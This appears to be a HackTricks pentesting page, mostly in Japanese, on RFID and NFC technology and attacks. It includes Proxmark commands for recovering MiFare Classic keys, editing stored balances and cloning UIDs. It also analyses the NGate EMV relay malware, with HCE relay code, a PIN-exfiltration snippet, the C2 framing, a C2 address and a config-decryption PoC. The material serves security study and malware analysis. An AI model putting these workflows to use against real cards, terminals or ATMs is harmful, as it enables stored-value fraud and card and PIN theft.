Pentesting RFID

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

はじめに

Radio Frequency Identification (RFID) は最も一般的な短距離無線ソリューションです。通常、エンティティを識別する情報を格納・送信するために使われます。

RFIDタグは、埋め込みバッテリーなどの**独自の電源を持つ（active）ものと、受信した電波から誘導された電流で電力を得る（passive）**ものがあります。

クラス

EPCglobal は RFID タグを6つのカテゴリに分類します。各カテゴリのタグは前のカテゴリにあるすべての機能を備えており、下位互換性があります。

  • Class 0 タグは passive な UHF 帯で動作するタグです。ベンダーが製造工場で preprograms します。そのため、メモリに保存された情報を 変更できません。
  • Class 1 タグは HF 帯でも動作できます。加えて、製造後に 一度だけ書き込み可能（write once） です。多くの Class 1 タグは受け取ったコマンドの cyclic redundancy checks（CRC） を処理できます。CRC はエラー検出のためにコマンド末尾に付加される数バイトです。
  • Class 2 タグは 複数回書き込み可能 です。
  • Class 3 タグは温度やタグの動作などの環境パラメータを記録できる 組み込みセンサー を含むことができます。これらのタグは semi-passive で、統合バッテリーなどの 電源を持っている ものの、他のタグやリーダーとの無線 通信を自発的に開始することはできません。
  • Class 4 タグは同クラスの他タグと通信を開始できるため、active tags になります。
  • Class 5 タグは他のタグに 電力を供給し、前述のすべてのタグクラスと通信 できます。Class 5 タグは RFID readers としても機能します。

RFID タグに保存される情報

RFID タグのメモリは通常、次の4種類のデータを格納します：エンティティを識別する identification data（銀行口座などのユーザー定義フィールドを含む）；エンティティに関する 補足情報（supplementary data）；タグ内部の configuration に使われる control data；およびタグの一意識別子（UID）や製造、タイプ、ベンダーに関する情報を含む manufacturer data。最初の2種類のデータは市販タグのすべてに見られますが、後の2種類はベンダーによって異なることがあります。

ISO 標準はタグが属する オブジェクトの種類 を示すコードである Application Family Identifier（AFI）の値を規定しています。ISO によって規定されるもう一つの重要なレジスタは Data Storage Format Identifier（DSFID）で、ユーザデータの 論理的な構成 を定義します。

ほとんどの RFID セキュリティ制御 は各ユーザメモリブロックや AFI・DSFID 値を含む特別レジスタへの 読み取り／書き込み操作を制限する 機構を持ちます。これらの ロック機構 は制御メモリに保存されたデータを用い、ベンダーにより初期のデフォルトパスワードが設定されていますが、タグ所有者が カスタムパスワードを設定 できるようになっています。

低周波 & 高周波タグの比較

Low-Frequency RFID Tags (125kHz)

Low-frequency tags は高いセキュリティを必要としないシステムでよく使われます：建物アクセス、インターホンキー、ジムの会員カードなど。高いレンジのため、有料駐車場での使用に便利で、ドライバーはリーダーにカードを近づける必要がなく、遠くからでもトリガーされます。一方で低周波タグは非常に原始的で、データ転送速度が低いです。そのため残高管理や暗号化のような複雑な双方向データ転送を実装することは不可能です。低周波タグは短いIDのみを認証手段なしに送信します。

これらのデバイスは passive RFID 技術に依存し、30 kHz～300 kHz の範囲で動作しますが、通常は 125 kHz～134 kHz を使用します：

  • 長距離 — 低周波はレンジが長くなります。一部の EM-Marin や HID リーダーは最大1メートルの距離で動作します。これらは駐車場でよく使われます。
  • 原始的なプロトコル — 低データ転送速度のため、これらのタグは短いIDのみを送信できます。ほとんどの場合、データは認証されず何の保護もありません。カードがリーダーの範囲に入るとただIDを送信し始めます。
  • 低セキュリティ — この種のカードは簡単にコピーでき、プロトコルの原始性のため他人のポケットからでも読み取られることがあります。

人気の125 kHzプロトコル：

  • EM-Marin — EM4100, EM4102。CISで最も人気のあるプロトコル。単純さと安定性のため約1メートル離れた場所からでも読み取れます。
  • HID Prox II — HID Global による低周波プロトコル。西側諸国でより一般的です。より複雑で、このプロトコル向けのカードとリーダーは比較的高価です。
  • Indala — Motorola によって導入され、その後 HID に買収された非常に古い低周波プロトコル。前述の2つと比べて利用が減ってきているため、現場で遭遇する可能性は低くなっています。

実際には低周波プロトコルはもっと多数存在します。しかし物理層で同じ変調を使っており、ここに挙げたもののバリエーションと見なせます。

攻撃

You can attack these Tags with the Flipper Zero:

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

High-frequency tags は暗号、双方向の大量データ転送、認証など、より複雑なリーダー—タグ相互作用が必要な場合に使われます。
通常、銀行カード、公共交通、その他のセキュアなパスで見られます。

High-frequency 13.56 MHz tags are a set of standards and protocols。一般には NFC と呼ばれることが多いですが、必ずしも正確ではありません。物理・論理レベルで使われる基本的なプロトコルセットは ISO 14443 です。高レベルのプロトコルや代替標準（ISO 19092 のような）はこれに基づいています。多くの人はこの技術を 13.56 MHz 帯で動作するデバイスの総称として Near Field Communication (NFC) と呼びます。

簡単に言えば、NFC のアーキテクチャは次のように機能します：送信プロトコルはカードを製造する会社が選択し、低レベルの ISO 14443 に基づいて実装されます。例えば、NXP は独自の高レベル送信プロトコル Mifare を考案しました。しかし下位レベルでは Mifare カードは ISO 14443-A 標準に基づいています。

Flipper は低レベルの ISO 14443 プロトコルだけでなく、Mifare Ultralight のデータ転送プロトコルや EMV に対しても相互作用できます。Mifare Classic と NFC NDEF のサポート追加に現在取り組んでいます。NFC を構成するプロトコルや標準の詳細な検討は別記事に値し、後で掲載する予定です。

ISO 14443-A に基づくすべての high-frequency カードは一意のチップ ID を持ちます。これはカードのシリアル番号として機能し、ネットワークカードの MAC アドレスのようなものです。通常、UID は4または7バイト長ですが、稀に 最大10バイト に達することがあります。UID は秘密ではなく簡単に読み取れ、時にはカード自体に印刷されていることすらあります。

多くのアクセス制御システムは UID を使って 認証やアクセス許可 を行っています。時にはタグが暗号をサポートしている場合でも UID のみで認証が行われます。このような 誤用 により、セキュリティの観点でそれらは愚かな 125 kHz カード と同程度のレベルに落とされます。仮想カード（例：Apple Pay）は動的 UID を使用し、支払いアプリでドアを開けてしまうことが無いようにしています。

  • 短いリーチ — high-frequency カードはリーダーに近づける必要があるよう設計されています。これは不正な相互作用からカードを保護するのにも役立ちます。私たちが達成した最大読み取り距離は約15cmで、カスタムメイドの高レンジリーダーを使用した場合でした。
  • 高度なプロトコル — 最大424 kbps のデータ転送速度により、双方向の完全なデータ転送を伴う複雑なプロトコルが可能です。これにより暗号化やデータ転送などが 可能 になります。
  • 高いセキュリティ — high-frequency のコンタクトレスカードはスマートカードに劣りません。AES のような強力な暗号アルゴリズムや公開鍵暗号を実装するカードも存在します。

攻撃

You can attack these Tags with the Flipper Zero:

FZ - NFC

Or using the proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

システムが残高を MiFare Classic カード上に直接保存している場合、Classic が NXP の廃止済み Cipher である Crypto1 を使用しているため、しばしば改ざんが可能です。Crypto1 は数年前に破られており、sector keys の回復やカードメモリの完全な読み書きが一般的なハードウェア（例：Proxmark3）で可能になっています。

End-to-end workflow (abstracted):

  1. 元のカードをダンプして鍵を回復する
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

これにより通常、sector keys (A/B) を復元し、client dumps folder に full-card dump を生成します。

  1. value/integrity fields を特定して理解する
  • オリジナルカードに対して正当な top-ups を行い、複数の dumps（before/after）を取得する。
  • 2つの dumps の diff を取り、balance や integrity fields を表す変化する blocks/bytes を特定する。
  • 多くの Classic 展開では、ネイティブの「value block」エンコーディングを使用するか、独自の checksums を実装しています（例: XOR of the balance with another field and a constant）。balance を変更したら、integrity bytes を再計算し、全ての duplicated/complemented fields が整合することを確認する。
  1. 変更した dump を書き込み可能な “Chinese magic” Classic tag に書き込む
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. 元の UID を複製して端末がカードを認識するようにする
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. 端末での使用

カード上の残高と UID を信用するリーダーは、改変されたカードを受け入れます。フィールド観察では、多くの導入例でフィールド幅に基づいて残高を上限していることが示されています（例：16-bit 固定小数点）。

Notes

  • If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
  • For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
  • Only UID-changeable tags (“Chinese magic” gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.

For hands-on Proxmark3 commands, see:

Proxmark 3

携帯型 HID MaxiProx 125 kHz Mobile Cloner の作成

red-team engagements 中に HID Prox® バッジを収集するために 長距離、バッテリー駆動 のソリューションが必要な場合、壁付けの HID MaxiProx 5375 リーダーをバックパックに収まる自立型クローン機に改造できます。フルの機械・電気の手順は以下を参照してください：

Maxiprox Mobile Cloner

Android Reader↔HCE Emitter を介した NFC/EMV リレー

Classic EMV リレーは 2 台の Android デバイスで実装できます：実カードからライブの APDUs と PIN を捕捉する被害者側の reader、そして端末上で APDUs を上流に転送する攻撃者側の HCE emitter。解析された NGate kit は正規の Android NFC APIs とシンプルなフレーム化された TCP C2 を悪用して、リアルタイムの ATM cash-outs をオーケストレーションします。

Key building blocks

  • Reader-mode app (victim): uses NFC reader APIs to parse EMV (PAN/expiry/AIDs), displays scheme by AID, asks for PIN and exfiltrates immediately.
  • Emitter-mode app (ATM side): implements Host Card Emulation (HCE) with android:requireDeviceUnlock="false" and a payment AID; processCommandApdu() forwards APDUs to C2 and returns minimal response.
  • Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml の例 (unlockなし + payment AIDなし)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

透過リレーエンドポイント (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

AIDによるEMVスキーム推定（例）

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

PIN harvesting pattern (victim UI)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

フレーム化された C2（cleartext の例）

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode inside payload)
  • ボディが > ~100 MiB の場合は拒否; keepalive は約7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

設定の隠蔽: 証明書由来の XOR

  • Native lib は app signing certificate (DER) の SHA‑256 を用いて 32 バイトのキーを導出する。
  • C2 config は ASCII‑hex で assets に格納されており（例、assets/____）、hex-decoded され、32 バイトごとに繰り返されるキーで XOR される:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

config を decrypt するオフライン PoC

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Sample decrypted fields: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

リレーチェーン（エンドツーエンド）

  1. 被害者がAPKをインストールしてアプリを開く → native initがassetsからconfigを復号する。
  2. アプリはframed TCPを使ってC2（例: 91.84.97.13:5653）に接続する；keepaliveは約7s。
  3. 被害者がカードをタップ → readerがPAN/expiry/AIDsを抽出してCARD_DISCOVEREDを送信する。
  4. 被害者がPINを入力 → keypadがPIN_REQで公開および外部送信する；サーバはUI表示用にのみVALID/INVALIDで応答する。
  5. 端末上の攻撃者デバイスがHCE emitterを実行し、APDUsをATMへリレーしてcash-outを行う。

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする